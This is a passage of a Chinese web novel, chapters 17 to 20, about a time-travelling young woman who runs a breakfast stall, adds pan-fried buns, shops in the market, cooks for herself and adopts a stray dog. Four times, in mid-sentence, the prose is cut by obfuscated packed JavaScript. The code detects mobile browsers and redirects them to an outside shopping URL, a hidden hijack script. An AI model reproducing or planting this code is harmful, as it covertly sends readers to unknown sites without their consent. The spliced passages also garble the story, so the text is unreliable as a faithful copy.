“小食摊儿我都能给你做出来，这更不是难事了。” 李大叔打着饱嗝，看着图纸上的桌椅，拍了拍自己的胸膛。 订做这些东西，想必是要花不少的时间。 到那时，她便要想着卖一些其他的吃食，光是豆花可不够。 南北朝食丰富多彩，譬如生煎包。 17. 上新 这两日雨渐渐停了，河边的杏花开得更盛，嫩绿的薄叶中晃着一片雪白，淡雅清新的香气招惹了不少的菜粉蝶。 春日里的行商多了起来，来来往往的，叫卖声更甚。 磨豆花实在磨得手酸，昨日里吴怀夕便去东市里瞧瞧一头骡子的价钱。 好家伙，这一打听，差点没晕过去！ 一头青壮的骡子，竟要八两雪花纹银！抢抢抢......抢钱！ 吴怀夕握着手中刚刚才攒的一两多银钱的荷包，怀着悲壮的心情，她又逛了一圈牲口档子。 一匹马要二十两，一头牛要十五两，一头猪要三两，好一些的鸡鸭，统统得三十文一只，更何况她还想养兔子呢。若是抓些几文钱一只的鸡仔来养，也要买饲料，这一月吃掉的饲料也不少。 她可不想像李凤娟那样，给她的宝贝小鸡小鸭们吃青草，李凤娟那两只母鸡成日里吃青草，吃得脸都绿了，下出的蛋都比寻常蛋要小些。 以上她想得这些，又只是些牲畜，她还有房子要买，总不能一生都睡在小食摊上...... 这房子的价钱也是参差不齐。一间草房就只要三两，但风一吹定是能“卷我屋上三重茅”。若你想住得好些，买上一间木房，那可是要三十两。 别说三十两了，她的志气多大呀，她想要青砖瓦房。 一百两！这还是不挑地方的统一价钱，若是还想挑挑好的，又得加上不知多少两。 这里头还是没有家具的，要自己添置。 还有田地，她还想置上两亩田呢。 钱一旦用起来，是真不经花。 她的一碗豆花不过三文钱......从少女豆腐西施，卖到老年豆腐西施，许是能将所有她想要的攒齐。 眼前浮现出她满头白发，扛着锄头的样子。等垂垂老矣，那还怎么锄呀。 还是得多增加些朝食的种类，一定要增加，多挣些钱。现在的苦，便是以后的甜！ 她一边看着那些牲畜沮丧，一边在心底里捉摸着日后要添哪些朝食。 记得从前她在菜场里杀价时，每忙活完，就要去一家小店里吃上一碟生煎包。那家生煎包做的极好，只要去，定是要等上两锅排队的。 做生煎包吧，她每次吃完，都有极大的满足感，干起活来都有劲。 原想磨豆子辛苦，不如换成生煎包能轻松些，但豆花卖得又实在是不错，总不能刚有些起色便戛然而止，只能慢慢循序渐进。 总有人也要吃那碗豆花。 豆花虽好，但吃下去未过一个时辰，肚里又空了。要想早上吃得好，需再添些油水，吃些米面来饱腹。 今日的吴怀夕，醒得更早了。 还未等寅时的竹梆子敲，她就起来磨豆子，一磨便是一个时辰。 等把豆花的活忙完，就开始揉面，是一刻都不能停歇的。 生煎包并不能像油条那样，用粗面在油里一炸，尝个酥脆劲。煎出来的小包子，更讲究一个口感，那面也要揉得筋道。待面团揉好，还要加上酒曲发酵，才能让面团剂子蓬松暄软。 要好吃，也要用上贵价的精面，那可要多收几文钱。 待旭日东升，吴小娘子的食摊上又添了一样新的吃食。 她的食摊面前，也多了两张桌子，几把椅子。李大叔做完一张，就拿过来一张，生怕她给等急了。 她购置了一只扁平的锅子，正好架在泥炉上，一只只雪白似刚剥壳鸡蛋的生煎包在热油的熏煎下，变得饱满润泽，油水汪汪。 在出锅时，撒上一把葱花与白芝麻，“刺啦”一声，香气四溢。 “好香啊！吴小娘子又在捣鼓些新吃食了？” 少女今日一身葱绿衣裙，与春日里甚是相配，明眸皓齿，梨涡浅浅。她拿着一把团扇，招了招面前的香气，深吸了一口，“瞧着真不错，给我来两只尝尝。” “阿离不是不爱在早上吃些油腻的东西？” 吴怀夕笑着给她添上一碗甜瓜豆花。现下正是吃甜瓜的季节，切得方正的甜瓜如翠玉般镶嵌在嫩白的豆花上，莹润多汁。 “那不是陈笙他同我讲，人早上要吃得好，这样肠胃也养得好，就不会生病了。”许离用认真地尝着碗里的甜瓜豆花，“更何况，真的香死了！” “十文钱八只，阿离可吃得完？我送阿离两只尝尝便可。” “吃得完，你就放心上吧。” 吴怀夕铲了八只生煎包到碗里，端到许离的跟前，“吃不完我这儿有油纸，可以打包。” 许离笑着接过递过来的碗，还未等一会儿，远处便有声音响起，听着就是气喘吁吁地，还带着几分着急。 “阿离，你病好了怎么不同我讲一声，我去你家找你没找着！” 吴怀夕浅浅一笑，又顺势打了一碗豆花摆到许离面前，见她脸颊绯红，“确实是吃得完。” 生煎包里裹着肉馅，又被油煎着，那定是比豆香的味道更加浓郁，有着老客的照应，待吴怀夕放下这碗豆花，人就开始忙活起来。 “吴小娘子，赶紧给我来一份吧，我老远就闻着了。” 陈福来可是吴怀夕食摊上每日的常客，他迫不及待地夹起碗里的生煎包，咬了一口，险些被烫坏了舌尖。 “嘶......” 陈福来龇牙咧嘴嚼着口中的生煎包，接过吴怀夕递过来的毛巾，擦了一把身上溅出来的汤汁，如猪八戒吞人参果一般吞下了那只生煎包，才扭曲着脸色开口，“哎唷我的老爹哦，烫死我了！给我嘴皮子都要烫破了！” “陈大哥，你先咬一小口，轻轻抿一口里面的汤汁，再尝嘛。这刚出炉，里面的汤可烫了......” 生煎包里的那口汤汁可不是肉馅的汁水，而是吴怀夕包在里面的皮冻。 那皮冻昨夜就备下了。将猪皮刮去肥油熬煮，加入葱姜蒜去腥，直至熬融化了为止。待盖上盖子，依着三月里的天冷藏一夜，晨起就变成了一大锅皮冻。 包生煎包时，将切成小块的皮冻一同包进去，等热锅那么一煎，便融 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059309|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化成汤汁锁在了生煎包里。 吴怀夕被他这幅样子给逗乐了，帮他调了一碟醋与辣子混在的一起的蘸料，“蘸着吃也可口，能解腻。” 陈福来将毛巾放在桌上，有些不好意思地挠了挠头，“嗨，咱们粗人哪这么讲究嘛，都是一口一个，那才吃着痛快。既然吴小娘子发话了，咱就试试。” 陈福来按照吴怀夕的说法，重新夹起了一只生煎包。 生煎包上撒了香葱沫，又点缀了白芝麻，香气扑鼻。顶部的皮面很薄，尝着细软，底下金黄的那面偏厚，焦黄油亮。 咬一小口皮一吸，汁水丰盈，肉香浓郁。汤汁从薄薄的皮子里流出来，夹杂着鲜甜。蘸一碟醋，将一整只放进嘴里，肉馅扎实，面皮暄软，底部又焦香酥脆，口感丰富。 “我，我从来......” 陈福来一边嚼着生煎包，一边喝上一口豆浆，才将它们都咽了下去，“我从来就没有吃过这么好吃的包子，神仙吃得也不过如此吧。” “那再送陈大哥三只。” 吴怀夕又铲了三只生煎包，放到陈福来的碗中。 渐渐地，食摊面前的客人也多了起来。 十文八只，大家并不嫌贵。那生煎包的个头足足有一个鸡蛋那样大，肉馅十足，咬一口汤汁鲜香，再配上一碗豆花，吃完到午时都不觉得饿。 若吃不完，吴小娘子还备好了油纸，可以打包着继续吃。 “吴小娘子，给我来一份，还要一碗甜豆浆。” “吴小娘子，用油纸包一份，我带回去给我爹娘尝尝，他们定是觉得新奇。” “......” 吴怀夕今日的小食摊，比往日更加热闹，桌上坐不下，就端着去河边吃。小孩子吃得满嘴汤汁，老人也能咬得动，一点儿都不硌牙。 每个客人的脸上，都带着满足的笑。 她擦了擦脸上的汗，从前她就爱看客人吃她菜的神情。甭管说得多么天花乱坠，好吃与笑容，便是最好的评价。 她忽然觉得这样忙碌的日头，也是幸福。 今日的生煎包准备的并不多，拢共就准备了三锅。她只有一双手，又要磨豆子，又要剁馅包包子，骡子干得都比她少。 好在三锅全都卖完了，有时候一锅多一两只，她也会送了。 等收拾了碗筷，她数了数今日挣的钱。 三百多文！ 出去肉、面、油那些成本，怎么得也有二百七八十文吧。 又发财了！ 累是累，但确实能挣不少的钱。但吴怀夕心中有些胆怯，前世的她，就是因为太累，过劳猝死。这一世，绝对不能太劳累。 所以当她结束一天的营业，能多睡会儿便多睡会，有时候还会去镇上的推拿馆松快松快。等攒好钱，买上了骡子，就不用这样疲倦地磨豆子了。 到那时，便再做些别的朝食。 光做朝食还不够，每次到夜里，她白日头睡饱了，总觉得闲得慌。 其实，也能做哺食。 18. 购物 三月很快接近尾声，天气愈发暖和。杏花茂盛得几乎要将枝头压弯，菜粉蝶旁，也多了几只白胖似绒球的蜜蜂“嗡嗡”采蜜。 安阳镇的河水渐渐暖了，长梗的水草旁，偶尔跳起几枚小鱼，被几只鸭子瞧见了，急促地钻入水中。 那几只鸭子健硕灵动，不出片刻就衔起了鱼。吴怀夕给食客递上一碗豆花后，便痴痴地望着那几只鸭子。 春笋老鸭汤与甜皮鸭，都很合适。 “吴小娘子，我今晨刚捞的螺蛳，可新鲜了，来一篮？” 四娘子刚给客人送完鱼，路过吴怀夕的小食摊，将篮子塞到了她手里，那篮子里还剩不少螺蛳，“不要钱，我昨个炒了一盘尝，鲜死了。这春日头啊，就应该吃螺蛳，我们不吃，都叫那鸭子吃去了。” 吴怀夕正顺手掏银钱，四娘子却已经走远了。 “篮子明日还我也成。我家那位还叫我给他带两只生煎，那肚皮上都几层肉了，吴小娘子，他要是来，千万别卖给他......” 四娘子的声音从远处出来，引得其他的食客捧腹大笑。 “这老钱就是怕他的媳妇儿，我昨日还瞧着他一人吃二十个生煎包，还有一碗咸豆浆，那大夫是让他少吃的，可他就是馋得慌。” 吴怀夕拎着的那篮子螺蛳，个个鲜活饱满，厣上的泡沫一动一动的，还呼吸着。 四娘子热心，这篮子里哪里只有螺蛳，螺蛳旁还扑腾着不少活蹦乱跳的小鱼小虾。 眼下食客还多，她便取了一只木盆，在里面盛些清水，将螺蛳全都倒了进去。撒一些盐，滴几滴香油，让它们将身子里的泥沙都吐个干净。 剩下的鱼虾，她也用水养了起来。 生煎包味道鲜美，名头传了出去，卖空的也快，食客来来往往，都有些忙活不开。 若是卖的东西多了，还是得招一两个伙计。她可不是哪吒，能变成六只手来忙活。 朝食、哺食，甚至前世的盒饭，她都想做起来，光靠几样吃食，可不行。 美美酣睡了一顿后，木盆里的螺蛳都将沙吐了个干净。 螺蛳、鱼、虾，这几样东西聚在一起，那不就是杂鱼锅？ 这似乎是江浙地区或者沿海的人常吃的一种锅子，瞧着像一锅乱炖，这其中的鲜美滋味，只有尝过的人才知晓。 忙活了大半个月，也是时候犒劳自己一顿。 吴怀夕出了门，往西市溜了一圈。 要说东市卖家具杂货最多，那西市便是布坊钗环，胭脂水粉的天下了。 西市里的布匹与成衣店不同，由于铺子极多，他们之间竞争得也厉害。 春日里时兴的葱绿、嫩粉，或是绣着花的布匹，都能压价到八十文一匹，而一匹能做出几件衣裳来。 吴怀夕逛得乐此不疲，哪里有半点倦色。怀中的荷包沉甸甸，她特意没有兑成一两，而是分出了六百文，今日非要买个痛快。 她挑了两匹藕粉与葱绿的布匹，又挑了一款绣着翠竹的，虽瞧起来文绉绉，但实在清新淡雅。她还挑了一匹白色的，摸起来柔软舒适，叫做成里衣。 而后她潇洒地付了四百文，当然这其中也包含了裁制的价钱。 布坊掌柜乐呵呵地收了银钱，并许诺只要十天，便可送到她跟前来。也就是说，十天，她就可以穿上新衣服。 福娘不过十六，纵然做得是吃食的生意，也要穿得干净漂亮。 这样的竞争条件下，这衣服裁制起来，也是极快。谁家做起来慢，谁家就生意少，这每家的绣娘手里的针线疯狂飞舞，不带停歇的。 出了布坊，下一场去的便是胭脂水粉铺子。 每一个铺子里都摆得琳琅满目，叫人移不开眼，光口脂的颜色，就有几十种。 吴怀夕并不多买，她挑了两瓶面脂，一盒嫩粉的口脂，与两瓶润手的膏体。 春寒料峭的，面上容易起皮。而她的手一天到晚，总是要浸在水里许久，是一定要润润的。 至于口脂，那盒擦在唇上实在是好看，晶莹透润如水蜜桃般，谁不会喜欢！ 这样下来，又花出去一百文。 “小娘子看看首饰吧。” 首饰掌柜叫住了路过他铺子的吴怀夕，他递来一只青玉镯，“瞧瞧这青玉镯，光亮通明，结构细巧，太称您了。” 吴怀夕拿在手里一瞧，透着光，竟瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059310|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出镯中一丝杂糅，其中没有半分瑕疵。 冰种翡翠！ “咳咳......” 吴怀夕讪讪地将青玉镯放了回去，恐将它给摔了，“那，那个，它多少钱啊？” “不多不多，只需十两银子。咱们这玉石啊，出自南山，那儿产得玉石，那叫一个好，那叫一个通透，那叫一个......” 首饰掌柜捧着这只青玉镯滔滔不绝，“哎！哎......哎！小娘子，您别走啊！啊......” 抢抢抢......抢钱啊！ 掌柜娘子喝完茶，出来拧了一把首饰掌柜的耳朵，“谁家做生意上来就捧着贵价的卖啊，这小姑娘瞧着水灵，你卖她两只迎春绒花簪，与她这年纪相配得很，也才三十文。给我老老实实做饭去！” “得嘞娘子......啊哟喂，您轻点拧，别伤着您手。” 西市里依旧喧嚣热闹，吴怀夕提溜着今日的战利品，又去她卖菌子的那家食肆买了一壶烧刀子。 从前她就想尝尝了，酒香浓烈，闻着实在是醇馥幽郁，只不过那时她的一文钱要掰作几文来花，自是舍不得的。 今日可不同。 买！ 等吴怀夕回了小食摊，天色渐渐暗了。 她拿了一把剪子，将螺蛳的尾巴全都剪了去，又简单打理了小鱼小虾。 小鱼先下砂锅中煎得外焦里嫩，盛起备用。用葱姜蒜爆香锅子，切了小段的辣椒，炒熟雪菜，将鱼虾与螺蛳一同倒入，加水焖煮。 等出锅时，放些干豆腐，撒上一把韭叶与葱花。 煤球还在煨着砂锅，“咕嘟”作响，香味围绕在小食摊周围，野狸子都被吸引得喵喵叫。 夹一筷子鱼肉，柔嫩爽滑。螺蛳新鲜，只要一嗦便能从螺壳中脱出，肉质紧实弹牙，咸香的汤汁也顺着吸进了唇舌间。 小虾已被汤汁浸透，鲜甜诱人，连壳都不用剥，嚼了便能咽下去。 砂锅不断冒着热气，酸菜放在米饭上，酸香可口，脆爽多汁。 在此时，喝上一口回味悠长的烧刀子。 赞叹一声。 谁说这不是神仙日子？ 19. 春生 河边的枇杷花中冒出了青绿的个头，还有不少的边角泛起了一点儿黄。 “春生，你是咱们几个中，爬树最厉害的。多摘些下来，咱们几个分一分。” 枇杷树下有几位垂髫小儿，他们一人扯着一块灰布的一边，纷纷仰着头瞧着树上的男孩。 那几串碧玉似的枇杷沉甸甸地挂着，看着就叫人口舌生津。 “好嘞。” 繁茂的枇杷叶中露出一张稚嫩的脸，听了小伙伴们的夸赞，他心里像是喝了蜜，往上更多攀爬了几步。 “接好咯。” 起初是几个，后来是一串、两串......不断有枇杷从树上落下来，那几位孩童着急忙慌地扯着布匹去接，不出片刻就将布兜给装满了。 “春生哥，快下来。” 系着两根红头绳的小女孩见他迟迟不下来，还在一股脑儿地摘枇杷，眼瞧着越爬越高，不免有些担心，“摘够了，快下来吧。” 春生低头一瞧，见布兜里装满了枇杷，满意地往下爬。 这未曾想那节枇杷树枝是今年刚冒出来的，春生手一扯，竟径直断了。他“哎唷”一声便跌进了河里，溅起一阵水花后就没了影子。 “春生！” 那几位孩童这下可着急了，还哪管什么枇杷，飞快地跑到河沿，大声叫喊，“春生！春生！” 可春生落下去的地方，只剩下了晃动的水波纹。 这叫喊了好一阵，只有一丝涟漪的河水忽然“咕嘟”冒泡，从里头钻出一张嬉笑的脸来。 春生似是水性极好，扑腾了几下便游上了岸。他抹了一把脸，将外袄脱了，用力拧出一股水来，“别担心，那枇杷呢，快让我尝尝。” “枇，枇杷......” 几位孩童悻悻地将整个布兜都塞进了春生的怀里，自个儿就拿了几枚，个个神色异常，“春生，俺先回去了。” “我，我也是，我娘给我下了汤饼！” 几位孩童一下子就跑没影了。 “这咋啦......” 春生瞧了瞧手中的一大兜枇杷，眼睛眯得像月牙一样，正想拿起一个尝尝滋味，这耳朵一下子就被揪住了。 “春......生！” “哎哟喂，哎哟喂。” 春生一边嚎着一边被四娘子拎回船里换了衣裳，又提溜来了小食摊，她坐下身来，拿着一块布头使劲地给春生擦头发，“吴小娘子，打一碗姜汤，再上一叠生煎。” 吴怀夕从小食摊中探出头来，瞧着面前的男孩，见他湿漉漉般落汤鸡的模样，“哟，春生，夏日未到，你就迫不及待地下水去了。” 春生小脸一红，不好意思地低下了头，嘴里嘟囔了一句，“才不是呢。” 面前的姜汤冒着热气，春生小口小口地饮着，目光落在那叠生煎包上，也不抬头看。 “都十岁了，还皮着呢。” 四娘子倒了一蘸碟子醋，给春生夹了两只生煎包，“成天带着那几个六七岁的孩子玩，都成孩子王了。我跟你爹商量过了，等八月暑退，热气散去，天气转凉，就送你去学堂。” “那读书多没意思......以后我可以帮娘杀鱼。” 春生咬着一只生煎，里面的汁水烫着他说话都不利索。 “春生！” 四娘子忽然一拍桌子，将桌上剩下的几只生煎都拍得颤了三颤，“读书多好，有学问，将来有大出息。难道要像你爹娘一样，杀一辈子的鱼吗......” 四娘子眼眶微红，声音有些激动，手高高扬起，却轻轻地落下。 “娘，我去读就是了。” 春生似是从未见过自己的娘这副模样，平日里的娘说一不二，今个儿的她眉头紧皱，欲言又止。 “娘，吃枇杷。” 那一布兜的枇杷春生一路以来都紧紧地攥着，生怕掉了去。他拣了一只，拿衣襟擦了擦，献宝似的递到四娘子面前。 “娘不吃。” 四娘子别过头去，不让春生瞧见她眼角的泪。 春生早就馋这枇杷许久了，见自己的娘不吃，他也不管三七二十一，剥了枇杷的皮，咬了一口。 “嘶......” 酸涩的味道直冲舌尖，就像几根小针扎了舌头。春生的眼睛不自觉地眯成了一条线，将那咬进去的枇杷全都吐了出来。 “枇杷还未熟呢，春生。” 吴怀夕又给春生添了一碗姜汤，见着他龇牙咧嘴的模样，笑了笑，“眉毛都要酸掉了，一会尝尝吴姐姐做的春饼。” “这都四月里了，怎么还做春饼。” 四娘子擦了擦眼角的泪，疑惑道。 “发面的时候，馅少面多了，我瞧着浪费，就用来做春饼了，今年还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059311|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未尝过呢。” 事实上，吴怀夕一开始并不是奔着春饼去的。 河边的鸭子整日在她的面前晃悠，只只肥美。在甜皮鸭与春笋老鸭汤的难以抉择中，她最终选择了烤鸭。 肥嫩多汁！ 她一早就将面团发了，认真地将面饼皮烘得又软又薄。这万事俱备，就等着卖家禽的老何将拔了毛的鸭给送来。 奈何这老何根本不靠谱，他讪讪地摸着头，过来打包了八个生煎，“吴小娘子啊，这风味斋的伙计一大早将我家这几只鸭全包了，说是他们家公子想喝春笋老鸭汤。这甭管老鸭嫩鸭，全买走了。您瞧瞧，我明日再给您送来成不？” 风味斋，就是吴怀夕兜售菌子与买烧刀子的那家食肆。 罢了罢了。 不差这一天。 她不差，可这刚哄好的饼皮隔夜可就不好吃了。 精面烙的饼皮实在是精贵，吴怀夕杵着脑袋想了半晌，不如做成春饼。 “吴姐姐，太好吃了！” 这生煎刚下肚，一盘春饼就送到了春生的面前，每一个春饼卷着不同的内陷，新奇又味美，“每一个都好吃！” 刚出锅的春饼冒着热气，饼皮软乎又有嚼劲。 金黄嫩滑的鸡蛋块中夹杂着爽脆的豆芽与翠绿的韭黄；土豆丝与青椒丝被切成细丝，酸辣开胃。 腌好的肉丝大火翻炒后有了锅气，与豆酱完美融合在一起，甜咸适口。 春生的肚子像是继承了他那能吃二十个生煎的爹一样，五个生煎下肚，又吃了不少的春饼。 直至四娘子将盘子端走，这才作罢，不然定是要积食的。 “春生。” 吴怀夕叫住了跟着四娘子走的春生，含笑将一只果实塞进了虽然酸涩，但依旧舍不得扔的那布兜枇杷里，“放只林檎进去，等枇杷黄了，就可以吃啦。” “谢，谢谢。” 春生的脸颊忽然又泛起了一抹红色，拎着布兜飞快地跑走了。 “嘿，这孩子。” 四娘子快步跟上了上去。 河边的枇杷依旧坠满枝头，再等一月，就会变得饱满又黄岑岑的。 风拂过满树的杏花，花瓣飘飘扬扬地落到河里，被戏水的鸭子冲散开。 春光大好，万物新生。 她也是。 一晃来这儿，已是两月。 20. 家人 今晨的吴怀夕一点儿都不觉疲倦，只因那样卖家禽的老何，天微亮就将宰好的鸭子给送了过来。 终于可以尝试着做烤鸭，她可是馋了一天。 “吴小娘子，这只好！我挑得最机灵的一只，那整个棚架里，就属它跑得最快。您瞧瞧！” 那只用细柴串了的鸭子闭眼歪着头，身上的毛被拔得一干二净，即便是跑得最快，也没能逃出老何的手心。 吴怀夕打眼一瞧，果然肥美健壮，是只好鸭子！ “这些是心肝家伙什，还给您弄好了血豆腐。我再要八只生煎，先走了哈。” 昨日他喝碗茶的功夫，儿子就将鸭子全卖了，也没留下一只。他家的鸭子最为新鲜，每日要从乡下运来，一来一回的大费周章，他哪能再变出一只给吴小娘子？ 平日里街道上的摊贩们互相照拂，老何也知做生意要本分，何况吴小娘子早将银钱都给了。 故他今日一早就挑好了一只赶紧送来。 他递完东西，又买了一份生煎，也不好多留，又如同昨日那般飞快溜走。 吴怀夕拎着那只鸭子极为欢喜。现下天色还早，小食摊上只有寥寥食客，先将鸭子腌了再说。 现代几块钱能称上一斤的香料却在古代尤为贵价。一小坛子八角、香叶、桂皮花了她整整五十文，尤其是胡椒，半个拳头大的一小罐得八十文。 真是比一斗精米精面还要贵。 可这些确实又都是好东西，除了能掩盖掉肉类的腥味外，还能增添不少别样的风味，是以后小食摊上推出别得吃食的重要功臣。 原先她想做些猪下水的生意，毕竟她在现代摆摊时，看过的穿越话本子可不少。 猪下水很是便宜，几文钱就能收来一大盆，确实看起来能成为发家致富的第一桶金。腌臜东西，这儿的百姓几乎没人要吃，毕竟味实在是大。 可就因为它味大，不仅要用面粉浆洗，还要用大量香料掩盖猪骚味。 就这么说吧，用二百文花的东西，去浆洗五文钱的东西。 吴怀夕搂紧了她的香料罐子，吓人！ 那爆炒猪下水计划就这样失败了，还是老老实实做朝食起步吧。 她将鸭子洗净后，用葱姜水与黄酒将鸭子抹均匀，给它做了一个极致享受的按摩，先腌上半个时辰再说。 做完这些，小食摊上的客人也陆陆续续多了起来，她便忙活着招呼客人。 “吴小娘子，你可知那边新多了家朝食摊，做的也是你这档子生意，不仅有豆花，也有生煎包。” 一食客夹着一只生煎包，一脸调笑地盯着吴怀夕。 他将皮咬开一个口子，吸出里面的汤汁，再用调羹舀起一点儿醋从那口子灌进去后，把整个生煎包咬进嘴里细品，“只要一文钱一只，便是十文钱，就能买到十只了。” 吴怀夕并不生气，反而笑着给他添了些豆浆，“那确实是比我便宜了。” “你也跟着降降价？” 食客大口地喝着那碗豆浆，“现下生意都不好做，要不生意都被他抢了去。” 一样吃食火爆起来，自然是要跟风兜售的。犹记以前她那条大学城的街上，别说炸串店了，光长S臭豆腐，都得五六家。 “我不降价的孙大哥。” 吴怀夕走到另一张桌子面前，给另一位食客倒了茶，“我用的都是最新鲜的肉，也是一早起来就揉面发面，若是降价了，岂不是要我亏本。人家卖十文钱十只就卖去，我依旧十文钱八只。” 吃是行业讲究的就是物美价廉，她用的精面与新鲜的肉，混了皮冻，十文八只已经是压了价的。倘若人人降价，那生意还怎么做。 “那摊子我去过。” 另一食客喝着豆花对那位“孙大哥”投来一个鄙夷的眼神，“皮厚肉少就算了，那皮子嚼起来就跟死面似的，哪能和吴小娘子摊子上的比。你若是喜欢吃那儿的生煎，你就去吃。你不能一边吃着吴小娘子的生煎，一边撺掇着她降价......” 他一边说着，一边用筷子夹出生煎包的肉馅，“瞧瞧，这样大一块肉，良心生意。吴小娘子，你甭听他的，就卖八只，我爱吃。” “对啊，你去吃别的去。” 陈福来尝着一碗荤豆花，也跟着凑热闹。每天吃生煎包他是舍不得的，可这三文钱的豆花，他还是付得起，何况还送豆渣饼呢。 “反正我以后就吃吴小娘子家的，她以后做啥我都吃。” “唉哟，我可不是这个意思。” 听了这食客的话，孙大哥有些不好意思，假咳嗽了几声，低头继续吃起了生煎，不再说话了。 这两日的生意确实不如一开始，吴怀夕自己能感觉到，生煎包这东西，她能做，别人自然也能跟着做。 她心想着该上些新的朝食，稳一稳她的食客了。 挂着的鸭子已经享受了半个时辰的日光浴悠闲时光。 吴怀夕又将调好的卤汁水将它抹均匀，抹一次，晾两刻时辰，重复三次。 那卤汁水中加入了蜂蜜、干桂花、白糖，以及那些她的宝贝香料，这么多贵价的东西，真是白白便宜了鸭子兄弟。 所以，鸭子兄弟劳烦再享受会日光浴。 日近午时，食客也陆陆续续地走完了。五锅生煎包还剩半锅，她铲了铲，打算当作今日自己的主食，配着烤鸭吃，也是挺不错。 未曾想，她刚将桌椅擦好，她的小食摊前就来了位不速之客。 一位看起来只有三、四个月大小的食客，目光不断地在她的主食上流连。 “想吃啊？” 吴怀夕拿起一只生煎包在他眼前晃了晃，这食客的眼珠子也随着生煎包滋溜地转动。 “你看起来没有钱的样子。” 她将生煎包咬了一口，又举到了食客的面前，故意逗弄着，“想吃你就让我摸摸。” 食客似是听懂了她的话，欢快地跑到她跟前，将自己的额头凑了过去，还亲昵地舔了舔她的手。 “给你吃。” 吴怀夕愉快地摸了摸他的头，将生煎包扔给了他，他叼起来就卧倒小食摊的木檐下啃食。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059312|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这是一只瘦骨嶙峋的小黄狗，全身的披着黄色的毛，瘦小但可爱。 见它可怜，吴怀夕便多丢了几个生煎包给它，别瞧它长得小，吃起生煎来几口便是一个，颇有风范。 待将所有的东西收拾完毕，倦意也终于上来了。 现代都是铁皮炉子烤鸭子，吴怀夕可不会为了这一顿烤鸭，专门去买个铁皮炉子。 昨日春生在她尝了春饼后，到了黄昏便带着他的“手下”来她这帮忙，说什么也要打下手。 望着这几个垂髫小儿，她揉了揉脑袋，实在是找不到任何需要打下手的地方，“你们捡几块砖来给我搭个泥灶子。” 孩子们不仅搭了个像样的泥灶子，还吃到了吴怀夕奖励的春饼。 那春饼尝起来实在是让人回味无穷，孩子们每个都吃得乐呵呵。 一时间，春生在他们中的“威严”更足了。 泥灶子自然是更好，可以将炭烧好，架在底下，将鸭子吊着烘烤，不用在火上用手不断转着烤。 她就可以用这些时光，继续与周公下棋去。 黄昏时分，她是被烤鸭的香味给香醒的。 泥灶子就在搭在小食摊旁，她推开门，小狗还守在泥灶子旁，像是在给她看火。 见她醒了，小狗便又冲了过来，亲昵地舔了舔她的手。 “你没地方去吗？” 小狗叫了两声，似是回答。 吴怀夕用钳子将烤鸭钳了出来，它已经完全熟透，色泽红润油亮，正往下滴着油。 她拿来小刀，仔细给将鸭肉一片一片地片下。鸭皮被烤得酥脆，底下的肥油已全部融化，小刀划过，发出清脆的响声。 炭火中加了橘树枝，浓郁的肉香中，夹着一股诱人的果木香。 她倒好了烧刀子，米饭这时也煨熟了，只要再炒个素菜便可。 用白糖蘸取鸭皮，油滑爽利的口感过后，竟是入口即化，并不腻口。 再用葱丝伴着早春的青瓜，蘸些许甜面酱，夹了两块鸭肉，裹进柔韧的饼皮中。 入口先是葱丝与青瓜的脆爽，而后是鸭肉的鲜嫩多汁，裹挟着有嚼劲的饼皮与甜甜的酱料，营造出别样的风味。 “尝一口，就当我的家人吧。” 小狗一停不停地摇着尾巴，对着烤鸭口水直流。听了吴怀夕的话后，将尾巴摇得更加起劲。 吴怀夕撕下一只烤鸭腿，扔给了它。 傍晚的风吹拂过她的小食摊，带来阵阵杏花香。透过小轩窗，能看到船上的万家渔火。 今日炒的是苋菜，嫩绿的枝叶中淌出来的却是紫色的汁水，尝一口脆嫩鲜甜，配烤鸭正好解腻。 小狗认真地啃着它的鸭腿，时不时盯着吴怀夕看两眼。 她抚过小狗的头，含笑道， “我就不给你取什么旺财、来福了，以后你就是我的得力二把手，就叫你黄总吧。” 小狗跳进她的怀里，似乎对这个名字十分满意。 过两日得推出点新朝食了，毕竟盆里的蛋也快腌好了。 21. 